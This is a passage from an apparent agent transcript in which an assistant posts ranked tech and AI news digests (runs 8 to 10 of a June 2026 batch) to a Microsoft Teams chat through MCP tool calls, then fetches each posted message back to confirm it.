or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104233006?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104233006\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 8/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Reinforcement learning towards broadly and persistently beneficial models](https://news.google.com/rss/articles/CBMiVEFVX3lxTE1Qb2x5UnRLeFpwNlpoRklPUkFGZi1uZGxlVmNybzhfWE43SDVwbF9yekZtNWRPQjA1WVNRaWpIV0ZfeXFMdW8wZnhHMHJockJqdVFVMg?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[Securing the Agentic Enterprise: It Starts with the Data](https://news.google.com/rss/articles/CBMidEFVX3lxTE80bUNsRE11WEl0ajMtTDl1ZkFUUlZhTWxENnFGRk5jeXdVME83LVc2Sm1UNnhHVXZNQkZjdnIwUzBmUUNrREVHMDRqR2hEOWV6cl9XcEI3TjUtR05SekZnS0tJQm9NOExXTUsyX0tMUktpTU5Z?oc=5)** \u2014 **20/35** (2+2+5+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  3. **[Software-defined automation adds ladder logic and reaches more users](https://news.google.com/rss/articles/CBMingFBVV95cUxNWXRZZ19yUnAzeldnYUdqdk1mSnZsTl93U1FnTkFONUEyb2RLYUVvOC1waHZkSUc2SmdNS2dNZFZSZnNaRDN4YkFMQ1JDTDFIM0tVcFRSOWRNWmxxal9iS1YwZjVKRTh4S29SdkhONW9XZGlHX3doVzRmcm9CVk9jUmRGNHRKTndrdHBFTkZlbFB6NThLUnBjWS11Zm5IZw?oc=5)** \u2014 **20/35** (2+4+1+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  4. **[Undo raises USD $37 million for AI debugging tools](https://news.google.com/rss/articles/CBMigwFBVV95cUxOc0gydTNZQktaRE5wdXU4MFM3T29Idm1ZNnB6TFFVbzlaejhtVjlwUWZxVG9pd3ZqSTEzM2Z5Z3dVVWFRYlRaMS1lQWJOcHNpeUZZTmlfMHpxMmx3dzZDT1lhQVpaX0FDUEZtUzR5M3JBSHNHQXJjQjlvVG1MQnFYdU5BUQ?oc=5)** \u2014 **20/35** (2+2+4+4+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  5. **[Unreal Engine 6 is bringing generative AI into its development tools](https://news.google.com/rss/articles/CBMirgFBVV95cUxQeXhNaFNxd2NmUFlXS1NWdlpMN1J0SzhQbXFYVXhvZTRaTmwwWV9CY3lMZUpaT09BRGc0MzltVm1QX3pHOS1CVUVzaVBOT3NkYWs1R2dIRW5ZeXk0RnFIRVlhSk1nMHFva0hudzk2MnFMUGxwd0xOMVEtUUFRQjBXYkRUMHA3MVlGTDF6QXFSRU0xc09lTm84ZDEyYzd1bGpBTFFPb3RpbnhiM0IzeEE?oc=5)** \u2014 **20/35** (2+2+4+4+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  6. **[Why Amazon hates 'human-in-the-loop' AI governance](https://news.google.com/rss/articles/CBMipwFBVV95cUxNMmNSOEo4X05OTV9EWEpmQndOSEtmcktxOHFLQXBKUm4tSWVZMm9QVk9zOGxJM3dUOXE3NFpndnBDVUpENmVyNHdyQW5hc1hTZkYzZEotdHZGS2FkODlYd1ZHVHNQNUV6ekl5LS03QThuaGIyXzFJbGM3M2RLdUFvLU1rR0sxTnlyNHpReTBpVThGaXY0XzJTcGtNZFpuV201a2lMYV9Saw?oc=5)** \u2014 **20/35** (2+2+4+1+1+5+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  7. **[Accenture Acquires IndX to Boost AI Manufacturing Solutions](https://news.google.com/rss/articles/CBMikAFBVV95cUxPNkZYOUh6MXNaQkxVY1dYTHhaRzNhNEtYRnNCbkxfTXNXRWIzYlp4MThqTGtxa081dkVaOXZDQmdiZ2x2VkRrWFkyeXAwelR6Tk5FWVY5UDhTRVlpQ3Rpa1Y3TmVQcVRPaHZxNnkxR05tQVUwRVoxMWJxU3JwV1JvWlc1VC04UWE2dDV3YURfZWQ?oc=5)** \u2014 **19/35** (4+2+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  8. **[Norway imposes near ban on AI in elementary school](https://www.reuters.com/technology/norway-imposes-near-ban-ai-elementary-school-2026-06-19/)** \u2014 **19/35** (4+2+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  9. **[SPARC AI Demonstrates 43km Drone Target Acquisition, Expands Overwatch Autonomous Target Recognition System](https://news.google.com/rss/articles/CBMi1wFBVV95cUxNVkFDYU1jRjNKdFZLbW04U1pLOFp0NGpzWWlFbWdENTZRSXQxMzBfT21NZDh3ZC05LXUtTjJkNlNDRTg0TkdmcFB2b1VOa2lSbEE4amZVeFhwZTZEd05TUTh6ay1Ca3hLa2FsblVyTFY0ZGpibHNFOVNSdC1SaTJvQ2x0OUw4c0ZlbUdhaW9HR1dUMnFGSWx1RGZhQ084QjNRTElaN1BuMzJHVzhuaDVJM1BrWThhQktpRXhwd2hDVkhsR3RVbUZGN1UybTl2VjRNYW0yMjEwRQ?oc=5)** \u2014 **19/35** (4+2+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[AI demand pushes enterprise storage market into faster growth phase](https://news.google.com/rss/articles/CBMiqwFBVV95cUxPc0k4OGFKTnJUWVg1SXJRcUNwRnZRSktneUx5TlZPOThSbVplRHIwbW5idEFQSnYzNFpIei1JWnVsTzRFS0RPNi10UXFjMy1ObHJMXy1uRWtYM2pVMk1QNno0MTNvTzdWOTV1MjUwYjFWeDY2OGZXVU1sVEdidHRSc25feHlqZUo2anlKZkZXREtlYVVndnhvWjZ5TzZyRm1CWVVadFBlN0VoZTg?oc=5)** \u2014 **19/35** (2+2+4+1+1+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104233006?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:13.006Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104233006?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 9/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nAI Inference and World Model Startups Pull $1.8B in Two Days as Foundation Models Commoditize \u2014 19/35 (2+2+4+1+1+4+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nAnnouncing TypeScript 7.0 RC \u2014 19/35 (2+4+1+1+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nApertus \u2013 Open Foundation Model for Sovereign AI \u2014 19/35 (2+2+4+1+1+4+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nBipartisan Coalition Introduces Legislation to Establish National Security Commission on Quantum Computing \u2014 19/35 (2+4+1+1+4+2+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nCloudCasa Adds Kubernetes Disaster Recovery for HPE Alletra Storage MP B10000 \u2014 19/35 (2+4+1+4+1+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nDefense contractor settles cybersecurity False Claims Act allegations \u2014 19/35 (2+4+1+1+4+2+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nHow software development\u2019s speed obsession enabled TeamPCP\u2019s chaos crusade \u2014 19/35 (2+4+1+4+1+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nLinux 7.2 Begins Making Preparations For NVIDIA \\\"Blackwell-Next\\\" \u2014 19/35 (2+4+1+1+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nLinkedIn research says half of C-suite leaders are flying blind on AI \u2014 18/35 (3+2+4+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\n\nSpaceX wants to build AI data centers in space. Will it work? \u2014 18/35 (3+2+4+1+1+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104234561\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104234561\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104234561?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:14.561Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 9/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[AI Inference and World Model Startups Pull $1.8B in Two Days as Foundation Models Commoditize](https://news.google.com/rss/articles/CBMi0gFBVV95cUxOd0o3cHdXUGJtXzF4cHJvbDhWMGFMM2pLaXVxM1FKYUc3YzlMcm14UU5kaUJTUW1mX0hFQzhObzFvbXFfd3M3VnFlZ1lVanQtYW9PTTQxZ2pjQkoyNkkzQVBsWlNnZ2dVeGw4Z01VZEVTeDl2OHlLeTR0NVpoc2lMYXBtZFFZOV8wcVhQTnEtTHR2blllWDhnUThxMHV4LUEtTVBoYW56MDhELU1VcVdoVHlPWjlwRm9hd2FGTWR1TERkNTNsYXpSLWNtVG9DYkN4eUE?oc=5)** \u2014 **19/35** (2+2+4+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[Announcing TypeScript 7.0 RC](https://news.google.com/rss/articles/CBMie0FVX3lxTE9pajJQRmIwM0tSaUxqY3NkeFQzdV9feEZRVDdETDlCV0tVWkRNNnE2YkkyeTgzS1FWNjNNbkNkd0R3alBmM3U0bWNPTndfOXpsRS1zOXh5OHphNUVBWFJEQi1VX0ZrckZVWExVYTlqMTdacEdaLTlDN2V1MA?oc=5)** \u2014 **19/35** (2+4+1+1+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  3. **[Apertus \u2013 Open Foundation Model for Sovereign AI](https://apertvs.ai/)** \u2014 **19/35** (2+2+4+1+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  4. **[Bipartisan Coalition Introduces Legislation to Establish National Security Commission on Quantum Computing](https://news.google.com/rss/articles/CBMi2gFBVV95cUxNYUV4Q2F3X0lDUW5vekFnSUJOU0xRb09IT3VoVXVBV3d6VnppU1NrZEdRbTdQSE1pUVVBYUJYNkNSdEVxamc5RzRPcEl4R0R1UVdwNndMMTdsdVEyQmkydnBWbkVrMmdkM3k1dnpWbzFlcjhkQVZqdUNHdnNVcHJlMzkwczdNLVR2WkR3dDRKei1kQzVTNGJxNlI5WktVMDduRkJYdkZJUWxGY2tyQS1ZRmtwYVItbEdTU1VERU5JZUMtemtHSUFUZS1uZENDX1VsUXhPUndsWkItZ9IB3wFBVV95cUxQMUdFblNBWV9nSFdnN1ZLeWcxYmF6UWRIczY0aDA5YU9tNFdVdG9FWHptMEJVYW11amtLLVVtdV9pb0RzUWY1WlNrejRkcklVakVKSjZoRnI3cUJaaXpDZzdlTEVRS2FyOTQxbVNaNjdRT0syMF96Q2pqVXFIbWxNRERDdVNBSlNHc2dZbDRLMmZnUDdXYS0tUkxuMDE5VUVYbmpzcEg5S3VhNW1aQmJqYUpFNTBRcHJocWNoUDEyamtNWk9xRlRwTmw3V0RhQnVWMTVmeDNXM24tVXM5SkNj?oc=5)** \u2014 **19/35** (2+4+1+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[CloudCasa Adds Kubernetes Disaster Recovery for HPE Alletra Storage MP B10000](https://news.google.com/rss/articles/CBMitwFBVV95cUxNOHNza2xxT1Y3VzJwUjJtWWoxMHk0TTJiellYUmVnUW1zeDhGVG9SUUdlb0t2bDM5ekxPUTZiSVRBUmZoZENIbG03bEdKVGZ0dzRKRVl1U0E0WTgxMkRjUkZrVGxRYURSeXExaDBPamRKS09vUHRZWW9NcUpxSHFkN0E5THNsZnNiQ1ZMT3ZGODEtdy16T0VHZkVmSFc3QlhPY2hQSjNQSHFZYkxmQzQydTNYZ25OWknSAbcBQVVfeXFMTThzc2tscU9WN1cycFIybVlqMTB5NE0yYnpZWFJlZ1Ftc3g4RlRvUlFHZW9LdmwzOXpMT1E2YklUQVJmaGRDSGxtN2xHSlRmdHc0SkVZdVNBNFk4MTJEY1JGa1RsUWFEUnlxMWgwT2pkSktPb1B0WVlvTXFKcUhxZDdBOUxzbGZzYkNWTE92RjgxLXctek9FR2ZFZkhXN0JYT2NoUEozUEhxWWJMZkM0MnUzWGduTlpJ?oc=5)** \u2014 **19/35** (2+4+1+4+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Defense contractor settles cybersecurity False Claims Act allegations](https://news.google.com/rss/articles/CBMiqgFBVV95cUxPSDBMLW5ldExXRm1uWHdaZXQtbGlGSGhVcU9vM1JlUUZnLTZEWXRDX3R4aUV6ZUdweG9ydmQxSWIzMHlVZEdRS2NGbm04eHB5ZnNyTV9ZZi03eHNOVHdTXzY0ZEJvWVFabVBzYzVzUGMteXE4RWJuYmhhMFE4aXl1SXVpeTlxdEtEdmNaUHk5cF9CSXhGVU1OeVFYeGg4VDZwblRHZ0dSclJudw?oc=5)** \u2014 **19/35** (2+4+1+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  7. **[How software development\u2019s speed obsession enabled TeamPCP\u2019s chaos crusade](https://news.google.com/rss/articles/CBMie0FVX3lxTE1qNzE2N0o5VHVxMDVYcHZtVWdWQm5EYkUtR2otbFh5MzZKZTdJVFBmamFMM3RIRzlQS2hEUzFWMFkxcWMzbXZIMlFrOHhsdVlJX1VsZnBTNzlYOGFNdnhMaFJfbFlINUo3TTFOMm5vMWZhMXQ4cTN5V2ptZw?oc=5)** \u2014 **19/35** (2+4+1+4+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  8. **[Linux 7.2 Begins Making Preparations For NVIDIA \\\"Blackwell-Next\\\"](https://news.google.com/rss/articles/CBMiZ0FVX3lxTE1FM2FMRFcxQ0Z2N1BGVzNORTV5YmNmYU1peXhrMG1vWHJyM05xVTNaM3h5WmZnbEZEdlpNYUxGbmZsZ1JhbUU0Q1BleEkyOHFRZEN4ZjN1MnNGUmNZSDdFNDJwTlNkVmM?oc=5)** \u2014 **19/35** (2+4+1+1+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[LinkedIn research says half of C-suite leaders are flying blind on AI](https://news.google.com/rss/articles/CBMioAFBVV95cUxQenhYNklNQzVSYm9ReGxOZTl1S21FdllPUTFIUTBvTm9PaDhsTFJ5dHRsalA3Nm5QN3Z6SUg0dUdhZWFpbVNvYWxvSVRpZkNfNG5ueThMMW9EX0hUM3YtYWVPSjZiM3VsanVaNGhGakNaSmFYOHJnZnNZbFVJazNuR2Jkbnl4Z01DNW1vQmQ5YjhrTEprV0MyUHdROHd0S2NE?oc=5)** \u2014 **18/35** (3+2+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[SpaceX wants to build AI data centers in space. Will it work?](https://news.google.com/rss/articles/CBMib0FVX3lxTE5STC14RHpjMUdWQTBsM0J2WF9jMG8zS05NaW9TUk41Z3g1anZEZGU3Qm04bFNIMDFwaXY5ZGJhbjY0dlZfa1NUZFd1NGoxSkdjVW8wbzhvYzVxQWdoeHFEcWlKLXlIX1A1OGM1YnNQQQ?oc=5)** \u2014 **18/35** (3+2+4+1+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104234561?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104234561\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 9/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[AI Inference and World Model Startups Pull $1.8B in Two Days as Foundation Models Commoditize](https://news.google.com/rss/articles/CBMi0gFBVV95cUxOd0o3cHdXUGJtXzF4cHJvbDhWMGFMM2pLaXVxM1FKYUc3YzlMcm14UU5kaUJTUW1mX0hFQzhObzFvbXFfd3M3VnFlZ1lVanQtYW9PTTQxZ2pjQkoyNkkzQVBsWlNnZ2dVeGw4Z01VZEVTeDl2OHlLeTR0NVpoc2lMYXBtZFFZOV8wcVhQTnEtTHR2blllWDhnUThxMHV4LUEtTVBoYW56MDhELU1VcVdoVHlPWjlwRm9hd2FGTWR1TERkNTNsYXpSLWNtVG9DYkN4eUE?oc=5)** \u2014 **19/35** (2+2+4+1+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  2. **[Announcing TypeScript 7.0 RC](https://news.google.com/rss/articles/CBMie0FVX3lxTE9pajJQRmIwM0tSaUxqY3NkeFQzdV9feEZRVDdETDlCV0tVWkRNNnE2YkkyeTgzS1FWNjNNbkNkd0R3alBmM3U0bWNPTndfOXpsRS1zOXh5OHphNUVBWFJEQi1VX0ZrckZVWExVYTlqMTdacEdaLTlDN2V1MA?oc=5)** \u2014 **19/35** (2+4+1+1+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  3. **[Apertus \u2013 Open Foundation Model for Sovereign AI](https://apertvs.ai/)** \u2014 **19/35** (2+2+4+1+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  4. **[Bipartisan Coalition Introduces Legislation to Establish National Security Commission on Quantum Computing](https://news.google.com/rss/articles/CBMi2gFBVV95cUxNYUV4Q2F3X0lDUW5vekFnSUJOU0xRb09IT3VoVXVBV3d6VnppU1NrZEdRbTdQSE1pUVVBYUJYNkNSdEVxamc5RzRPcEl4R0R1UVdwNndMMTdsdVEyQmkydnBWbkVrMmdkM3k1dnpWbzFlcjhkQVZqdUNHdnNVcHJlMzkwczdNLVR2WkR3dDRKei1kQzVTNGJxNlI5WktVMDduRkJYdkZJUWxGY2tyQS1ZRmtwYVItbEdTU1VERU5JZUMtemtHSUFUZS1uZENDX1VsUXhPUndsWkItZ9IB3wFBVV95cUxQMUdFblNBWV9nSFdnN1ZLeWcxYmF6UWRIczY0aDA5YU9tNFdVdG9FWHptMEJVYW11amtLLVVtdV9pb0RzUWY1WlNrejRkcklVakVKSjZoRnI3cUJaaXpDZzdlTEVRS2FyOTQxbVNaNjdRT0syMF96Q2pqVXFIbWxNRERDdVNBSlNHc2dZbDRLMmZnUDdXYS0tUkxuMDE5VUVYbmpzcEg5S3VhNW1aQmJqYUpFNTBRcHJocWNoUDEyamtNWk9xRlRwTmw3V0RhQnVWMTVmeDNXM24tVXM5SkNj?oc=5)** \u2014 **19/35** (2+4+1+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[CloudCasa Adds Kubernetes Disaster Recovery for HPE Alletra Storage MP B10000](https://news.google.com/rss/articles/CBMitwFBVV95cUxNOHNza2xxT1Y3VzJwUjJtWWoxMHk0TTJiellYUmVnUW1zeDhGVG9SUUdlb0t2bDM5ekxPUTZiSVRBUmZoZENIbG03bEdKVGZ0dzRKRVl1U0E0WTgxMkRjUkZrVGxRYURSeXExaDBPamRKS09vUHRZWW9NcUpxSHFkN0E5THNsZnNiQ1ZMT3ZGODEtdy16T0VHZkVmSFc3QlhPY2hQSjNQSHFZYkxmQzQydTNYZ25OWknSAbcBQVVfeXFMTThzc2tscU9WN1cycFIybVlqMTB5NE0yYnpZWFJlZ1Ftc3g4RlRvUlFHZW9LdmwzOXpMT1E2YklUQVJmaGRDSGxtN2xHSlRmdHc0SkVZdVNBNFk4MTJEY1JGa1RsUWFEUnlxMWgwT2pkSktPb1B0WVlvTXFKcUhxZDdBOUxzbGZzYkNWTE92RjgxLXctek9FR2ZFZkhXN0JYT2NoUEozUEhxWWJMZkM0MnUzWGduTlpJ?oc=5)** \u2014 **19/35** (2+4+1+4+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Defense contractor settles cybersecurity False Claims Act allegations](https://news.google.com/rss/articles/CBMiqgFBVV95cUxPSDBMLW5ldExXRm1uWHdaZXQtbGlGSGhVcU9vM1JlUUZnLTZEWXRDX3R4aUV6ZUdweG9ydmQxSWIzMHlVZEdRS2NGbm04eHB5ZnNyTV9ZZi03eHNOVHdTXzY0ZEJvWVFabVBzYzVzUGMteXE4RWJuYmhhMFE4aXl1SXVpeTlxdEtEdmNaUHk5cF9CSXhGVU1OeVFYeGg4VDZwblRHZ0dSclJudw?oc=5)** \u2014 **19/35** (2+4+1+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  7. **[How software development\u2019s speed obsession enabled TeamPCP\u2019s chaos crusade](https://news.google.com/rss/articles/CBMie0FVX3lxTE1qNzE2N0o5VHVxMDVYcHZtVWdWQm5EYkUtR2otbFh5MzZKZTdJVFBmamFMM3RIRzlQS2hEUzFWMFkxcWMzbXZIMlFrOHhsdVlJX1VsZnBTNzlYOGFNdnhMaFJfbFlINUo3TTFOMm5vMWZhMXQ4cTN5V2ptZw?oc=5)** \u2014 **19/35** (2+4+1+4+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  8. **[Linux 7.2 Begins Making Preparations For NVIDIA \\\"Blackwell-Next\\\"](https://news.google.com/rss/articles/CBMiZ0FVX3lxTE1FM2FMRFcxQ0Z2N1BGVzNORTV5YmNmYU1peXhrMG1vWHJyM05xVTNaM3h5WmZnbEZEdlpNYUxGbmZsZ1JhbUU0Q1BleEkyOHFRZEN4ZjN1MnNGUmNZSDdFNDJwTlNkVmM?oc=5)** \u2014 **19/35** (2+4+1+1+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[LinkedIn research says half of C-suite leaders are flying blind on AI](https://news.google.com/rss/articles/CBMioAFBVV95cUxQenhYNklNQzVSYm9ReGxOZTl1S21FdllPUTFIUTBvTm9PaDhsTFJ5dHRsalA3Nm5QN3Z6SUg0dUdhZWFpbVNvYWxvSVRpZkNfNG5ueThMMW9EX0hUM3YtYWVPSjZiM3VsanVaNGhGakNaSmFYOHJnZnNZbFVJazNuR2Jkbnl4Z01DNW1vQmQ5YjhrTEprV0MyUHdROHd0S2NE?oc=5)** \u2014 **18/35** (3+2+4+1+1+2+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n  10. **[SpaceX wants to build AI data centers in space. Will it work?](https://news.google.com/rss/articles/CBMib0FVX3lxTE5STC14RHpjMUdWQTBsM0J2WF9jMG8zS05NaW9TUk41Z3g1anZEZGU3Qm04bFNIMDFwaXY5ZGJhbjY0dlZfa1NUZFd1NGoxSkdjVW8wbzhvYzVxQWdoeHFEcWlKLXlIX1A1OGM1YnNQQQ?oc=5)** \u2014 **18/35** (3+2+4+1+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104234561?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:14.561Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104234561?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 10/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nAgentic marketing AI startup Gradial grabs $65M in fresh funding \u2014 18/35 (2+2+5+1+1+2+5)AI/agent update with implications for model strategy, automation, governance, enterprise 